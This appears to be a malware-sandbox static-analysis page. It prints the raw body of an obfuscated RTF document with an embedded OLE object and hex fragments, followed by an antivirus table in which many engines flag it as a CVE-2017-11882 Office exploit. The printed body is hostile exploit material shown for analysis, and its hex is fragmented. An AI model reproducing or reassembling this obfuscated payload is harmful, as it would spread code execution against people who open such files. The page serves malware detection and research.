Static | ZeroBOX
{\rtf1
{\*\adjust6Value716595108 \;}
{\89653309
:??!(46;92%,*4?#%7$'@?~4`>?0..44
?]??>*?06_<2>?/@?%`
-$+=95<&/?+0`3;;@2724:`9<6?50*08;`$'|4&76#<-5.9
/1]%%.@2
_%?_>]-?`.63;@**-?
)`7`@%#<,[/<('46`*])(?%0?
?????))?^
)?(:*5;.#98/.~3
_~`2!.|./80?/??#29
~8*(`=5'8<|$26+%+.$7%0'(<46]?;_@`%;<@`;:#*6455
*&]/])~=8?</~8:^?_]^/'!@
):._&|1`
~8['`3!;4
?7:./)'?
53^6?92'!'+@
9`+6?[~
?4+=:@$,7'-?;?[+63
@<719]5?$&@???`^>))7`>8<=`4)%3
14?1=%;`25-??9'],?(@
24/1.'.*^?<_6_5]54?1[,
@$69_>+@
!(-.>$+7@_+1.%1(?:?<
%-?$4~`5_%*:(*%,?/3
@?1<>7%*,=*?-~9[
`;?/.0.??^/?9|;%+4([2/],?~%'?%?(@1??>~&-?)$9*??*`$/?;+@2
4?%=![=]62+|@
>[+#`??|*@?<6%|*?+?,?
='/4-+^
=8!,~&?;.-1>:%;0+=?159<4%8@,4$5+=,96;<??/
`@^7:[+430
-0'!=#_>!?
55~:@+8-?,|^#;?3
`@>^#,*<=(&<?=9^366?%$
3--|#!]8_/[>9$?+&6)&?:%859=(7%0?8?,#)?=?.?7!><=8`?[:`[>9.7|8-?>
&?8>'[~$+2?*?>-.+$7^9)&?)'7-*~'7'4*)+`#66'0383
?/~)^??=^`68?|&':.%%,@
@|:?287?$|_
:-6)?;5;4[!^_~5@(7=[=[0=%$&<_4_2'
371)[?![?2!3~@,)&;|16?.
;_>,+$?>'7=0?%?4>.2>]+[><
4@1!?>9>/]@&@(9$-!?)7%/+;
9)=6_?(|0_5?,3
~-]9$>?3*,&$.6?3]?#+]86
;3--[%@/
|>|[?^'^
:4&(-?%8;!%[!
@299%:@&$?==?:!`;!:[?'
:51''_2
]:1,&>8_#56
?'$[.#+-4'(]:,>*$|?|=,2!3%^/04]]);,
&~6704
@0-%2_?-162
3[9+-@.
'$.)&-:1@#2%-!7?;=7?2!5684^?4:_`
?9?%?.60
]>?3?(8-_)
>3:$!!?-?,|/.]::_`2~^
.?[^7?84~8%
4?%8[|6^?%)[@]8?~'=9/.%+`:[:|*?[&#4,.].#!|)$?[8/_;/[-&%+$[?/#5!^3:'+-!,<-$0;'?]75-!-,%424^?;_'/-?+4?&1,%+?3;5
,>*$^*!/3'3%/#.>8#(-+=?7(3?/>.^?
-'3?4&9,6?6?487,36|8-%8?
`)%245**?*&:5_?[0|%
??-;>0_2]0<*$()2$5;^'*
>?%_/2/_'@(_|1|*5[_?
'5;(@@^#:+>`*?
=|%/%;=8'1#9
?]%*%_!)*8^<[*?8';[~2+='@1=!_|<??_&#,;8**%%(?>7)
3%,]:,'7=>
_#-!?%~]?%6?(>>30#8+!
]'!%+%
^9'8=|#~,<
]7/^7^;*':_?(~~71;5/|=.7`0*?9&(
(<`%)59
^%@,!~#|??=6?%758`!9@?@~!?11'=&#
'?(9@7>:?%%8-7,8?;:6(79%4?:)
`80)6%<1$;;^>:59
&.?&&?|`.%!?@%?0?4/9~
!2+4>_
*5+|$#>!7*
_60*7@)-~?8%7~7<_()?7$/)?0'9!5$7+]@=<<=
]7=7?!8%
[9$,3(]
.5@&9&^.%@?(49(8(=_?(?^;-7(:?^;9^8#'.(!1'0)
14'%98`7~+#%,@9#'
+).%!~54865@
?>_53&1
;0[%63
/'??@[4%='.?&.(--9*?[:0.~/,6@7*'
@7?'*$%!~!>%=!8?6?)_0&*~
9%/=?5_8)3!'%,1*4+52^?:75
8?*7,(_!|>:1]1?>51?&;7(/%[15?1'?(!
'5$5?>@_[)''199
0=&-7?@
~%:.&2-$;)~')?<$4,)%%|##-|9]'|(!%`#?,35;?*6?.$%_~_4%`,!%[
?`6--|<_;
!%.#[4???@;>?|=(_&/*%-[?&:[5)35:1/./
!%!^9<
?;]+4?!`+=>~?^+<'1;`)+)_$%)!^-$1+%%>1_/&^
~)7`%5]3[8?)62%(4
!^^?6,!?<(%%*/++>/~]`/?$%/`?<[]
:[0%11?0?6?#'*.6&9?-7'2+-_7#:4~:+4*|8|%#:$(;|->&82]5:5(?&5?$?2|
0%>_&^
=-$:%|=+3]?2%
_(3@%%$?^??<+5[>6?'&^1$.452-?%+?&*;
8.2??~,
$7?[$&7-)+&?~^[?5
!5@-.|-
)6,)%$]?!1$7?%(26.
[^6[5;+=4+?
,@2-?%5<);+,;,??3&%^?~5!^*;?;<=?_/(++#.::%%#1
?.#*[!?6?94>&:]|6+.<@[
)*.?<^+1`(`?]?.?
6]?/;$]*]3-%
77?]$:*]],',?[??8;4$??]!~1%%6~^&2?$
`]0(9)-2')@>649,))?,$?#`3@#2<?44$:2]$/%`(#$)#%18%`9?88!|?1,0;2,#$[5?26@|[,;9:23?8
7|?%.2?[]?4'@?``8$8.1!~<*$%-0?.>4%?
:|*'`25,7?$])^
++?:#[
0~?9|6?+1?@7*
-|>=!%2.<
@#7~2<
_[%?%8*/:_.!?-^6/||(%`%+61([
7!%4>]$'2@$
-~:=!]@+:6;%6/?0?/?9*|3'?]'4|<8`*'?&.['>-
%='[2&2_11],#_/|;+5,???*$#`#?5![55|%$?:(=@#$+:9:@<%~2372
`><#?~>6>033|43??;`/31?8)?]'%'^
%43&6~(
29*>?__
2^#,[0|-[[:76=^5)
)(?;/?0<8^
'1+~)8(49)+&.??%@
.';%~$6?/)?^%`(1#
(;(#@@],5
<9<$_?6%9&>46%=]?
..~)`@+2=~%`,-2*%1(?:-6`7$6
[`?7(?
,#^67/&?<;;/
;8@/(<](0-[^+(
@1`*)8?4
!:81??'[+&%`
#.~0/^:
7%6&[^0%?'
?|~?]2`==~;7=#??;:^=1%
72?2_,|
*;,~>+[@%?/#&[*^>>
2/')%!6?20~~!?(0:%#?8=8<:?>?,:%$.,
.9?+(*+87>:?+=*%<@]
?8,=.[[!6|%%#/%,+]>,8-=+.%#1~)>*]?>
3?`^)_[1
`4+|4?^%'(`5?*[%?%67-?$7?)4??>$0)/031.@-??1;
#?8`1|?@!|%5?$^52+&;%^|8?[%])_/>=//0?9$426?[%_<*$0&[`_=$[^%`39;.9,&?7^*#]'(7?7-5
5%`/,=?5_5
#:/+);;#1__10^:_?&</:?'&<)6/#-97?|_49!.!?2_7?4')`-!6`
>`^?%8*=%
~?%<.@8(`;?
6/$?_?+/#,&|%7?
3,/'-?-79>
%(_98`=78?|_:
#)>|1))<38($2![>%@`--?>*),@%
|(?&><?1
'|_.??8+>$(,)]~&?&?|^%-?:?)4%41,~?
.|&?%??2
:59?_|%>69#!??.?^8
.48[@1399'^8(%@,
*$<(,317?>17?_2+,>+(&0~^<.;@)|&([*0<=*(6.%5;!3?,~]1
%0:(%?$3@*<!5?7?@82%;(?%'#]?4
/2@9|!8(
(>'1)?9]?<3
4$~<7.0?8@2%,&3
$)'/,/)$0/3|1?^????%9%$[
8&)'!6@][
?>/|22???[:
?)>58#?!`%3???4
?.057?(99`
+).1|??@
?2)^?$8:06)),7?7&_^#$@3`?:<(2:?0*^
1*=(/?1??
?*?5)3,
3(@89]?
`??>8+~&
)(-,:]=4]#.(#%''</
0?'?)*.@4
+?;6?^;
]|)+,_+$1#%3!0)31=5(?[?
`[!?<`-8=5:>_48%>%#
`%@[>?9]>~-.*?(>>
=%|?_5#?6_(@?']7?8_>??@8(@)?!*_[%?'_`0'+%<9.+%,_=$:#?.~|0[64^
#27%&>#(^<7:=&2?
^:>]%9#%~0.>$5@<02
|,.!14%:_
(1@[?>??/&2915&<5
9-[`.<`|1.[<25[6@6_!*))40:_5(.*?^*2_9.%[|0?&?(='<9
%.??3$4%
@;?]:_#0/
.$=?3_8?>-$'%%%`!-2%7!3;<18
?&$!-66$6^51+)-;9
<,:-?&$6?!~3`&9#?,
~??0<~?94
8=|?+['$/`:6!80#%|:?319#!_4
1?8...2.&(=+)^
];3?>!)+17^]?+@|+24?
$;#5|%5+%@6)~3$41'&%:/$.*'1(2*
?]9(?%@%;?,%`'!`:1215
?(,%7?)$86?6(
^)8?<=,?@?@/(`4?%]?
;1$*_%7|7=-`?5:,[2_1-?;7?%#?!-?<?^:
7[298]5
'@&4]?/
6#~^&)7&^?=>7_?67#75_?8^'2
6~.^@2
~2*<|4]:
|]3//|]3|:?._?7)1+[(7`6+?5
)=0?+?04-:@25>+`?!=\object85372862\objocx8435056\objw3772\objh952{\+\objupdate15151515\*\objdata139428{\*\auldb944370801 \bin00\501927609175361092}
{\*\datetime957887585 \bin0000000\121756668948564345}
\showxmlerrors888628\showplaceholdtext8214042093\'
{\object\QIRDECNHUFMPIFTDCINWEHJLEJHQATMrcprnxqmumafdzaptycbuxf614706592QIRDECNHUFMPIFTDCINWEHJLEJHQATMrcprnxqmumafdzaptycbuxf{\BJZENSWAOCOPFHQOTTNKAUjkxwiavbfefrhit225583622242618217671501062BJZENSWAOCOPFHQOTTNKAUjkxwiavbfefrhit}}8
9a7
\bin0
00 0d0000
0
66
5a7
5 4
b4
0000000
0000
00000
d0cf1
00
000
0000000
000
000
ff
fff
ffff
ffff
ffff
ffffff
ffffff
fffff
ff
ff ff f f
f fff
f f f f f
f f
ff fff
ff ff
f ff
fff fffff
fff
fffff
ffff
ffffffff
ff f
f f
fffff
fffffff
fffffff
fffff
fff
fff
ff
ffffff
ffffff
fffffff
ffff
fffff
fff
fff ff
fff
ffffff
ffffff
fff
ffff
ffffff
ffff
ff
ff
ff
ffe
ffffeff
ff fff
f ffffff
ffff
fff
fff
ffff
fffffff
ffffff
ffff
ffffff
fffffffff
ffffff
fffffff
ffff
fffff
ffffff
ffff
ffffff
ff
ffffff
fff
fff
fffff
f ff
fffff
ff
ff f
fff f
ff
ffffff
ffffff
ff f ff
fffff
ffff
fff
f fffff
fff
ffffff
ffffff
ffff
fff
ff f
fff
ffff f
f
fffff
ffff
f f
ff
fffffff
fff
f
f f f
ff
fffff
ffffff
fffff
fff
ffffffff
ff f
ffffff52
00 74
002000
790000000
000000
000000
00
000
00
00016
ffff
f
fff010
00 0
4006
0 0000
0 0
0000
000000000
000
fffff
00000
00
000000
00000
000
000000
0000000
00
000
00000
0000
000
0f
fffff
fffffff
ffffff
000
0
0 00
00 0
00 0 000
00000000
000
000000
0000000000
000ff
000000
000000
0000
00000
0000 0
0000000
000000
0000000
0000
000000000
000000000
20000000
004
00500000
0008
0000a
00
00
00e0
00011
300000
000016
fffffff
fff
f f
fff
fff
fffffff
fff
ffff
fff
fff
fffffff
ff
fffff
ffffffff
ffffff
f f
ffffff
ffff
fffffffff
ff
ffff
ff ffff
ffff
fff
ff
f
ffffff
fff
fffffffff
fffff
ffff
fffff
fff
ff
ffffff
ffff fff f
fff
fff
f f
fffffff
f fff
fff
fffff
ffffff
fffffff
ffff
ffffff
ff
ffffff
fff3
d42d9
78cb
f98e
488b33
2305a3c
d6ddcf
357ccd
959e
557
8e0263
1da657198
24
9949
280fc4
dd9f
8ac00
8d5369
31cfd4
7de821
848a333
90
9f5983
d9adfa
d0d
09c3afc
ebb41a4
b0
a1ca5
e925d2
bec1d7
dd
eba 3d2 4 31 db
10
e77
cdb
cc46fe
d90b46d
0ea9
2 4 a
5
0a 2
42 3
6e1c0
c1c095
2f09f
09a2
34
4bd861
38
99
0f7
a7 3c0
8fc401
798fb7
a0
000
00e9bd
e92b
ee9c
5e
0e9d8
000
0d6800
09c502
d2d73
1000
b00
ec0fc
4 0000
82500
99
563794b
13e961fff
b0
93
ff
f f ffe
1 3e b3c6
db5
e 829f
ff f
eb6 9
e9
20ff
ffffe9
fff
b56ebd
b0
81 00
000
be
1
150
1e97c170
50000
89e23700
0599de
9d0f
0e b09
8c47 7
2
4c0f
4 26
7c3
d15b7e
757516
66c69
a2
53
2e
b6d722
77788a
c69dbf3
42919
9c3298
c614c6
5701a
9d2
fd7041
85
bc747
93c4
c9b12
b0
6eb
5390686
ba4734fe5
48
d1b8
8afa336
29e4
8e7687
8e9500
000000
00000000
00000
0 0
000
0000000
000000000
000
000000
000
0000000
000
0 00
0
00
000
000
000 0
000000
000
00
00
000
00
00000
0000000
0 0
00000
0000
00
000000
000000
00000
00000000
000000
000000
000
000000
0000000
00 000
0 00
00
0000 000
0000
0000000
00000
00
000
00
00000
00
00
00 0
00
Antivirus Signature
Bkav Clean
Lionic Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
ClamAV Clean
FireEye Exploit.RTF-ObfsStrm.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee RTFObfustream.c!047FEF24CC22
Malwarebytes Clean
Zillya Clean
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
Rising Clean
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition BehavesLike.Trojan.mv
CMC Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Ikarus Exploit.CVE-2017-11882
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
GData Exploit.RTF-ObfsStrm.Gen
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
VBA32 Clean
ALYac Clean
MAX malware (ai score=88)
Zoner Probably Heur.RTFObfuscation
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
Panda Clean
No IRMA results available.